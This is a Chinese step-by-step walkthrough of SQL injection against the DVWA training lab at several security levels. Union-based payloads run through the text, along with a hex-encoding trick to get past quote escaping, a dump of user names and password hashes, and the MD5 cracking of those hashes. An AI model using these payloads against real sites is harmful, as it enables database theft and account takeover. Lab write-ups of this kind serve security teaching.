赞
踩
目录
1.判断是否存在注入,注入的类型是字符型,数字型,搜索性
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取当前数据库中的表
6.获取当前数据库中的字段名
7.查询数据
1.查询ID = 1
查询ID = 2
1' or 1=1 # 1 = 1条件始终成立,#代表注释掉后面的, 1'将单引号闭合
查询出所有的信息
2.查询字段数
1' order by 1 # 1个字段数存在
2' order by 2 #
3' order by 3# 发现报错,即没有三个字段
3.联合查询1,2
1' union select 1,2 #
4.查询数据库
1' union select 1, database() #
5.查询数据库表名
1' union select 1,table_name from information_schema.tables where table_schema='dvwa
有2个表 --> guestbook, users
6.查询users表中的字段名
1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users
users的后单引号不用闭合,因为在php代码中后面有闭合的后单引号
7.查询数据 通过查询出来的字段名进行数据查询
1' union select gtoup_concat(user_id,first_name),group_concat(user,password)from users#
admin是ID,后面的字符串为密码,考虑使用md5进行解密
解密成功,密码为password
将DVWA Security切换为Medium中级
1.发现没有输入框,变成了复选框 考虑使用burpsuit抓包工具进行抓包
2.发现刚刚提交的 User ID : 2出现在这里 考虑使用or 1=1基本方法进行修改包数据并进行send 注意要转到reapter中操作
3.id = 2' or 1=1# 发现没有回显 考虑单引号是否闭合 删除重试
显示出所有的内容
4.2' order by 2查询是否有两个字段,接着查询3个,发现3个的时候开始报错,即最多只有两个字段
5.使用id = 2 union select 1,2#进行查询
6.id = 2 union select 1,database() 查询数据库名 为dvwa
7.使用id = 2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = database()# 查询表名
8.查询列名 | 考虑到单引号可能会被转义,所以使用16进制进行绕过
id = 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
9.进行数值的查询,id = 1 union select user,password from users#
把数据库中的user用户名以及password密码全部查询出来
10.一如既往的md5进行解密
1.有输入框,考虑存在sql注入点
2.1' or 1=1# 存在SQL注入点
3.查询字段数 1' order by 2# 同样的在3个字段的时候进行报错即只有两个字段
4.查询数据库名
1' union select 1,database()#
5.查询表名 注意是两个字段
1' union select version,group_concat(table_name) from information_schema.tables where table_schema = database()#
6.查询列名
1' union select version(), group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users' #
7.查询user 和 password
1' union select user, password from users #
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。